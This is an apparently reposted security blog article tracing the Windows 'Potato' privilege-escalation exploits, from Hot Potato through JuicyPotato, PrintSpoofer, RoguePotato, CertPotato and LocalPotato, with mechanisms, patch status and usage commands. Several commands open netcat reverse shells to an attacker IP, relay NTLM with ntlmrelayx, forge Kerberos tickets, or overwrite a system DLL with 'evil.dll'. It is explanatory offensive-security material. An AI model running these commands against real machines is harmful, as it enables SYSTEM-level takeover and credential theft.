标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-3278] 作者: 大猪 发表于: [2023-02-26]
本文共 [293] 位读者顶过
Back in 2016, an exploit called Hot Potato was revealed and opened a Pandora's box of local privilege escalations at the window manufacturer. Over the next few years, Microsoft kept patching "Won't fix", which eventually got bypassed with new techniques, always bringing new potatoes. The goal of this article is to present all the exploits from the first one to the last one, how they work and how to use it. So, let's dive into the incredible Mousline mash up of impersonations and privilege escalations. Concepts and definitions of important termsFirst things first, in the following explains some technical terms and notions will be used. They will be presented here.
Now, it's time for exploits ! Hot Potato
How it works
When a DNS lookup fail, the computer try to resolve an hostname with NBNS lookup in broadcast. For a privilege escalation purpose, it is not possible to sniff the network and catch the requests because it needs administrator privileges. However, it is possible to flood the target host (127.0.0.1 here) with fake NBNS responses when a request is made. We just have to know for which hostname the request is realized, and the TXID value that must match in request and response. It is a 2 bytes value that can be easily brute forced since we are in UDP on 127.0.0.1.
By default, some installed services like Internet Explorer or Windows Update try to resolve http://wpad/wpad.dat regularly, that is generally doesn't exist on the network. In 2008 Microsoft has patched the same protocol reflective NTLM relay (like SMB->SMB on the same machine), but not the cross protocol reflective NTLM relay. So, HTTP->SMB on the same machine still worked when Hot Potato has been created. Hot Potato redirect all the catched WPAD requests to http://localhost/GETHASHESxxxxx that will response with a 401 error and ask for NTLM authentication. NTLM hash is then relay to SMB to start a new service, as SYSTEM if the original WPAD request come from Windows Update for example. Examples of command lines
1
#Windows 7
2
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true
3
4
#Windows Server 2008
5
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true -spoof_host WPAD.DOMAIN.LOCAL
6
7
#Windows 8/10/Server 2012
8
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true and wait for certificates update
Does it still work ?No.
For further read, it's here. RottenPotato
How it worksRottenPotato is a Hot Potato exploit, but with really strong steroids. Hot Potato was a little bit instable, sometimes it was needed to wait for Windows Update and WPAD cache refresh for several hours, etc. RottenPotato will use DCOM/RPC call to trigger the Net-NTLM authentication. It is mainly based on three things:
RottenPotato create an instance of an IStorage object which points to 127.0.0.1:6666. Then, via an API call to CoGetInstanceFromIStorage(), it tells to COM to fetch a BITS object (CLSID 4991d34b-80a1-4291-83b6-3328366b9097) from the IStorage instance, which points to 127.0.0.1:6666.
After some communications between COM and the RPC port, COM eventually send a NTLM Type 1 (Negociate) message. RottenPotato catch it and rip out the NTLM section of the packet to start the process of token negotiation by passing the NTLM Type 1 in a call to AcceptSecurityContext(). The response to this call is a NTLM Type 2 (Challenge) message. We will tell this is the Type 2 number #1.
Following the NTLM Type 1 packet forward to the RPC port 135, the port will response with an NTLM Type 2 (Challenge) packet (this one will be the number #2). RottenPotato catch it, and replace the NTLM blob inside with the NTLM blob from the NTLM Type 2 received after the AcceptSecurityContext() API call (the number #1, still following ?). Why ? Because the authenticating client (SYSTEM here) will use two particular fields from the NTLM Type 2 packet to authenticate : the "NTLM Server Challenge" and the "Reserved" fields. After sending the NTLM Type 2 (Challenge) to COM, it will replies with a NTLM Type 3 (Authenticate) packet following the backend authentication in memory. RottenPotato makes a new call to AcceptSecurityContext() with it and uses the reply to call ImpersonateSecurityContext() to obtain the final impersonation token. Now to use the impersonation token, the privilege "SeImpersonatePrivilege" or equivalent (like "SeAssignPrimaryTokenPrivilege") is needed. Additionally, RottenPotato relies on a Meterpreter session with the Incognito mode to use the impersonation token. Basically, the Incognito module permits to steal token the same way web cookie stealing works, by replaying that temporary key when asked to authenticate. Examples of command lines
1
#In a meterpreter session
2
use incognito
3
execute -cH -f ./rottenpotato.exe
4
list_tokens -u
5
impersonate_token "NT AUTHORITY\\SYSTEM"
Does it still work ?No. Doesn't work after Windows 10 1809 & Windows Server 2019 because of patches on DCOM and the OXID resolver. For further read, it's here. LonelyPotato
How it worksLonelyPotato is a RottenPotato but without meterpreter Incognito needed. It directly implements the API call to CreateProcessAsUser() in order to impersonate the primary token with the SeAssignPrimaryToken privilege (this one can be used in Session 0, which is normally the session used by service accounts like IIS). Does it still work ?Deprecated for the same reason as RottenPotato. For further read, it's here Source code (really really instructive !) RottenPotatoNGHow it worksIt is the same thing as LonelyPotato, but that's the "official Rotten portage" without Incognito. JuicyPotato
How it works
Surelly one of the most famous exploit of the serie, JuicyPotato is a RottenPotato on steroids (encore...ça fait beaucoup là, non ?). It permits to specify which CLSID to abuse instead of the BITS' CLSID hardcoded in the RottenPotato exploit. Additionally, it is possible to specify our COM server instead of the arbitrary 127.0.0.1:6666, and no need of meterpreter of course. A usuable CLSID needs at least to:
Other new features, it is possible to choose which function to use depending of the privilege the user has: CreateProcessWithToken() for SeImpersonate or CreateProcessAsUser() for SeAssignPrimaryToken, or both. It is also possible to specify another RPC servers than the 127.0.0.1:135 for the relay, for stealth purpose. Examples of command lines
1
#JuicyPotato with the BITS' CLSID, the COM listener port on 1337, and both functions tested
2
./juicypotato.exe -l 1337 -p C:\Windows\System32\powershell.exe -t *
3
4
#JuicyPotato with a .bat execution, a different CLSID, only the function CreateProcessWithTokenW used and a COM listener on 1337
5
./juicypotato.exe -l 1337 -t CreateProcessWithTokenW -p pathToBat -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
Does it still work ?No. It is now impossible to specify a custom port for the OXID resolver (only port 135), and just forward the resolution to a local fake RCP server via a remote OXID resolver give an ANONYMOUS LOGON. It has been patched around the update to Windows 10 1809. For further read, it's here and here. GhostPotato
How it works
GhostPotato is pretty well named. First because it has been released during the Halloween period, then because it brings back from the death the NTLM Reflection.
So now, how the mitigations really work for the LSASS process? LSASS keep a cache list of all the NTLM challenges recently issued with the associated SPN in order to detect NTLM Reflection attempts.
But ! Do the entries in the Challenge Table have an infinite lifetime? The answer is NO, otherwise I will not be writing this paragraph. The challenges older than 300 seconds are deleted when the deletion function is called, and this function is executed everytime a new challenge is added ! Since a local authentication is used at the begining, the access level gained with the attack will depend of the victim's access rights. Examples of command lines
1
#Works like ntlmrelayx, based on Impacket
2
python3 ghost.py -smb2support -of out -c whoami
Does it still work ?No. Patched in the security patch CVE-2019-1384. For further read, it's here. SweetPotato
How it worksIt's basically a C# portage of JuicyPotato, really useful for direct in memory loading, with CobaltStrike for example, without dropping the binary on the disk. It also add another way to exploit : when a BITS COM object is instancied, if the service is not already running BITS will attempt to connect to the local WinRM service on port 5985 with a first NTLM Negotiate message as SYSTEM. By running a fake WinRM server, it is possible to catch this Negotiate message, extract the NTLMSSP packet and SPNEGO header, and call InitTokenContextBuffer() to create a server side context with AcceptSecurityContext() (yeah, that's exactly what you think). This server side context (which is basically the Challenge Type 2 part of the Net-NTLM authentication) can be sent in a 401 Unauthorized HTTP response to the BITS client, client who will respond with an Authorization Type 3. The NTLMSSP part on this response is used with AcceptSecurityContext() to obtain el famoso token. This exploit was firstly exploited in RogueWinRM in 2019. In case where WinRM is not already running, like on Windows 10 by default, SweetPotato will setup a server on the port 5985 and force BITS to authenticate, as SYSTEM. Since the previous potato exploits don't work anymore after Windows 1809 and Server 2019 because of the DCOM patch, SweetPotato will automatically try to exploit the WinRM path if possible when it encounter the patch. Now, SweetPotato also embeds the PrintSpoofer exploit, which will be presented in the next section. Examples of command lines with CobaltStrike (ftw)
1
#SweetPotato with Netcat execution and arguments, directly in memory, via the WinRM attack
2
execute-assembly ./SweetPotato -p ./nc.exe -a '10.10.14.11 4646 -e powershell' -e WinRM
Does it still work ?Yes. There is no actual official patch for PrintSpoofer or the WinRM exploit. For further read, it's here and here. PrintSpoofer
Yeah, it's not a *Potato exploit by the name, but it's the same by the purpose...and that's my article, so I will write about it. How it worksThe idea behind PrintSpoofer is to use Named Pipe for impersonation with the ImpersonateNamedPipeClient() function. PrintSpoofer first creates a Named Pipe with CreateNamedPipe() and grant Everyone to access it. Then, ConnectNamedPipe() pause the thread waiting for a client connection. When a connection arrives, ImpersonateNamedPipeClient() realises the impersonation and it is possible to execute some code as the user.
To coerce the SYSTEM authentication, PrintSpoofer use the good old PrinterBug attack. The PrinterBug exploit is based on the Print Service functionRpcRemoteFindFirstPrinterChangeNotificationEx() which permits to send change notifications to a print client...and this function use RPC over Named Pipe to work.
To resume, a path like \\HOSTNAME/pipe/foo123 will be transformed into \\HOSTNAME\pipe\foo123\pipe\spoolss. And it works ! The Printer function effectively connects to the controlled Named Pipe and a SYSTEM token is received. Now, the impersonation can be done. Examples of command lines
1
#From an interactive shell, spawn a SYSTEM shell
2
./PrintSpoofer.exe -i -c cmd
3
4
#Spawn a SYSTEM shell
5
./PrintSpoofer.exe -c "nc.exe 10.10.14.11 1337 -e cmd"
Does it still work ?Yes. No official patch for the moment. For further read, it's here. RoguePotato
How it worksSince the patches of JuicyPotato, it is now impossible to specify a custom port for the OXID resolver (only port 135), and just forward the resolution to a local fake RCP server via a remote OXID resolver give an ANONYMOUS LOGON. Resolving the OXID resolution to a controlled server permits to obtain a identification token during the IRemUnkown2 interface query, but remember, identification token are not useful for impersonation purpose.
The exploit idea is to call an OXID resolver method with a forged response to trigger a privileged authentication against a controlled listener. For this, the ResolveOxid[2] function is a good candidat because it permits to specify an endpoint with an IP address and a TowerId (ID of the protocol to use in RPC call). By default, RPCSS always tries to connect to the pipe \pipe\epmapper, so it is impossible to redirect it to ncacn_np:localhost[\pipe\roguepotato]. However, the PrintSpoofer exploit has revealed a new attack way : inserting / in the hostname will be interpreted as the partial path of the Named Pipe. Specifying ncacn_np:localhost/pipe/roguepotato[\pipe\epmapper] is interpreted and RPCSS is well redirected to the controlled Named Pipe. A NETWORK SERVICE account's token is obtained. To resume, the attack takes place as follows :
Then, a token stealer will :
Examples of command lines
1
#On the attacker machine, run the socat redirection
2
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
3
4
#On the target machine, as an account with impersonation privileges
5
.\RoguePotato.exe -r ATTACKER_IP -e "command" -l 9999
Does it still work ?After all this time ? Always. For further read, it's here. GenericPotato
How it works
This one is a little bit particular, it is more a "potato template" to "grow our own potato". It is usefull if you are on a machine patched against JuicyPotato, where WinRM already run, the Print service is stopped, and the RPC port are filtered...basically you are in a CTF. Examples of command lines
1
#Listens on HTTP, port 8000, and executes cmd.exe
2
./GenericPotato -e HTTP -l 8000
Does it still work ?Yes. For further read, it's here. RemotePotato
How it worksThe last but not the least, and maybe the most underrated exploit ! The starting point of this exploit is RoguePotato, but now the objective is to build a cross protocol relay from the RPC authentication to another protocol like LDAP or HTTP on a remote machine to perform a privilege escalation (or at least, actions as another user). This solution could permit to privesc without requiring any impersonation privileges.
To achieve this, an authentication from an interesting account (like Domain Admin) without NTLM signing is needed. From the previous research, it appears that IRemUnkown2 doesn't apply any signature. Also, it appears some CLSID impersonate the account connected in the Session immediatly after Session 0, and not the SYSTEM account as usual. There is three main ways to obtain a shell in Session 0:
The list of interesting CLSIDs can be found in the SentinelOne article in read further.
With a shell as a low privileged user in Session 0 on a machine where a privileged user is connected interactively, it is possible to trigger a DCOM activation by unmarshaling an IStorage object, calling CoGetInstanceFromIstorage() with a CLSID that can impersonate an interactive user and setting the attacker IP for the OXID resolution. The attacker who listen on the port 135 will receive the authenticate IObjectExporter::ResolveOxid2 call and will forward it to the fake OXID Resolver. Because this call is signed, it can't be used for the NTLM relay. For the relay purpose, all the MITM and HTTP logic is present in the RemotePotato POC, which then forward the authentication to ntlmrelayx which do its job. Because I can't make a better schema than the SentinelOne ones, here it is : Totally stolen here During the research they have found that the lack of signing was induced by the security provider choosen in the fake OXID resolver response. If it is set to NTLM (RPC_C_AUTHN_WINNT) with an Authentication Level at RPC_AUTHN_LEVEL_CONNECT (0x2) no signature will be setup. However, by specifying SPNEGO (RPC_C_AUTHN_GSS_NEGOTIATE) no signature will be enforced. The exploit has now been updated and it is possible to use it from another Session than 0, and to relay another one than the 1. Examples of command lines
1
#On the attacker machine, run the socat redirection
2
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999 &
3
#And the relay to the LDAP for example
4
ntlmrelayx.py -t ldap://DC-IP --no-wcf-server --escalate-user normal_user
5
6
#Open a session on the victim machine
7
Enter-PSSession -ComputerName victimMachine
8
#On the machine, run the RemotePotato exploit
9
./RemotePotato0.exe -m 0 -r 10.0.0.20 -x 10.0.0.20 -p 9999 -s 1
Does it still work ?Finally, nop. After a long time of "it's not a bug, it's a feature", Microsoft has silently patched the exploit on October 2022 by changing the client authentication level from Packet Integrity to Connect, leading to NTLM signing activation. For further read, it's here. JuicyPotatoNG
How it worksImagine JuicyPotato can still works ! Ahah no I'm kidding...but imagine... After the JuicyPotato release, Microsoft has made important modifications about the abusable CLSIDs by changing the obtained token to an Indentification token. Additionally, it was needed to belong to the INTERACTIVE group to exploit the other CLSIDs (PrintNotify for example), which is not at all common. JuicyPotatoNG is based on the Kerberos DCOM authentication trick presented by Jame Forshaw, which basically permits authentication relay from a local user Kerberos token to LDAP. During the DCOM object activation, by calling the LogonUser() API with a Logon Type 9 (NewCredentials) LSASS creates a copy of the token and adds the INTERACTIVE SID to the new one (along the other SIDs). This new token can be impersonated without impersonation privileges since it has been created with LogonUser(). Next, the SYSTEM authentication is intercepted and the user impersonated with an SSPI hook on the AcceptSecurityContext() function. Using this solution instead of RpcImpersonateClient() permits to listen on a specific port (here 10247, because it is generally available for none privileged users) without blocking it (binding to a port with RpcServerUseProtseqEp() will make it busy and not available for other processes). Additionnally, this approach only needs SeAssignPrimaryTokenPrivilege, where RpcImpersonateClient() also needs the SeImpersonatePrivilege privilege. Examples of command lines
1
#Using the default 10247 port with CreateProcessWithTokenW or CreateProcessAsUser createprocess call
2
./JuicyPotatoNG.exe -p C:\Windows\System32\powershell.exe -t *
3
4
#Using a different port to listen on
5
./JuicyPotatoNG.exe -p C:\Windows\System32\powershell.exe -t * -l 1337
Does it still work ?Yes, normally it should. For further read, it's here for the article, here for Juicy2, and here for the James Forshaw explains. CertPotato
How it worksAnd you really thought no one was going to use ADCS to build an exploit *Potato? CertPotato is, for the moment, not a binary that you can ./ to gain in privileges, but more a technique to achieve a privilege escalation from a service account to the SYSTEM account via ADCS without using the NTLM relay attack. This article will not explain what is ADCS and how Microsoft has implemented its own PKI, this is not the goal here. For better understanding of the ADCS attacks, you can look at this and this, or read the SpecterOps' whitepaper. When a service account like "NT AUTHORITY\SYSTEM", "NT AUTHORITY\Network Service", or a virtual account like "iis apppool\defaultapppool" needs to interact with the network, it uses the machine account. So, if you have a code execution on a web server as "iis apppool\defaultapppool", and the server is domain joined, you can request the domain users with the net command, and the machine account will be used to perform the request. Back in 2020, Charlie Clark had already exploited this behavior to perform an RBCD attack via the tgtdeleg trick. This technique permits to retrieve a TGT for the machine account from a service account by sending an AP_REQ request to a machine in Unconstrained Delegation (basically, the Domain Controller), and decrypting the AP-REQ authenticator structure with the session key (grabbed in the local Kerberos cache) to extract the TGT and the associated session key placed in it. With this information in mind, you can potentially imagine a pattern of attack:
Examples of command lines
1
#In the service account context
2
.\Rubeus.exe tgtdeleg /nowrap
3
4
#Then, in your Kali
5
#Copy/Paste the Base64 ticket and convert it to a ccache ticket with Impacket
6
echo "<base64_ticket>" |base64 -d > ticket.kirbi
7
ticketConverter.py ticket.kirbi ticket.ccache
8
9
#Use Certipy to request a certificate for the machine account with a Kerberos authentication
10
export KRB5CCNAME=./ticket.ccache
11
certipy req -k -target 'ca_host' -ca 'ca_name' -template 'Machine'
12
13
#Use the certificate to perform a PKINIT authentication and extract the NT Hash
14
certipy auth -pfx 'machine.pfx' -no-save
15
16
#Forge a Silver Ticket with Impacket
17
ticketer.py -domain domain.local -domain-sid <domain_SID> -spn 'cifs/machine' -nthash <machine_hash> <target_user>
Does it still work ?Yes. For further read, it's here, and here. More explains about ADCS here, here, and here. LocalPotato
How it worksYup, they did it again...but this time differently, and without impersonation privileges ! For a quick remember, during a local NTLM authentication the Type 2 message sent by the server to the client (which are on the same machine, this is local), contains the Negotiate Local Call flag that is used the determine the validity of the security context. Additionally, the Reserved field must reference the local server context handle that the client should associate to. If the LSASS doesn't correctly check the validity of this field, it could be possible to initiate a connection against a server service as an unprivileged client, swap the context in the received Type 2 message with a one from an intercepted privileged authentication, and then authenticate with the unprivileged client on behalf of the privileged one. Here are the steps decribed in the article:
Okay, that's good, but how to coerce a privileged authentication from the SYSTEM and locally relay it to a usefull server service ? RPC endpoints are protected against local NTLM relay by denying RPC connections if they are coming from the local SYSTEM, and SMB endpoints are normally also protected against cross-protocol relay attack since 2016...all ? No ! Because a technique described by James Forshaw still resists to the mitigation, and the life is not easy for the Microsoft engineers... SMB mitigation is based on the fact that a local authentication must specify the target SPN cifs/127.0.0.1. With this behavior it is, for example, not possible to coerce a WebDAV authentication and relay it to the SMB service since the SPNs will mismatch (it works for both Kerberos and NTLM authentications). However, it appears that it is possible to trick a DCOM client into using an arbitrary SPN to obtain a Kerberos ticket for an arbitrary service, and this also works for NTLM authentications. Thus, by coercing a SYSTEM NTLM authentication over DCOM/RPC (this abuses COM marshaling with specific CLSIDs, take a look at how RemotePotato works) and specifying the SPN cifs/127.0.0.1 in the OXID resolver, it is possible to bypass the SMB reflection mitigations and obtain a privileged arbitrary file write on the system. Then, it is up to you to find an interesting file to write in order to leverage the arbitrary write into a code execution. Generally, in this situation DLL hijacking got your back. To be more local, the authors of the tool have decided to rely on a local fake OXID resolver instead of a remote one as it is done generally. Examples of command lines
1
#With the McpManagementService CLSID which is present by default on Windows 11 and Server 2022
2
./LocalPotato.exe -i C:\temp\evil.dll -o C:\Windows\System32\spool\drivers\x64\3\Printconfig.dll -c {A9819296-E5B3-4E67-8226-5E72CE9E1FB7}
3
4
#Then trigger the PrintNotify service, via its CLSID, that will use the hijacked DLL
5
$type = [Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}")
6
$object = [Activator]::CreateInstance($type)
Does it still work ?On up-to-date system, nop. The attack has been identified as the CVE-2023-21746 and patched in january 2023. Now, the SPN is automatically set to NULL when the ISC_REQ_UNVERIFIED_TARGET_NAME flag is set by the DCOM privileged client. For further read, it's here and here. Final thoughtsThe number of exploits in the potato family is mainly due to the cat-and-mouse game that Microsoft and cybersecurity researchers have been playing since the beginning by patching bypass after bypass. But overall, the concept remains the same, and as long as NTLM can be relayed, privesc will always exist (it's beautiful). Resources
|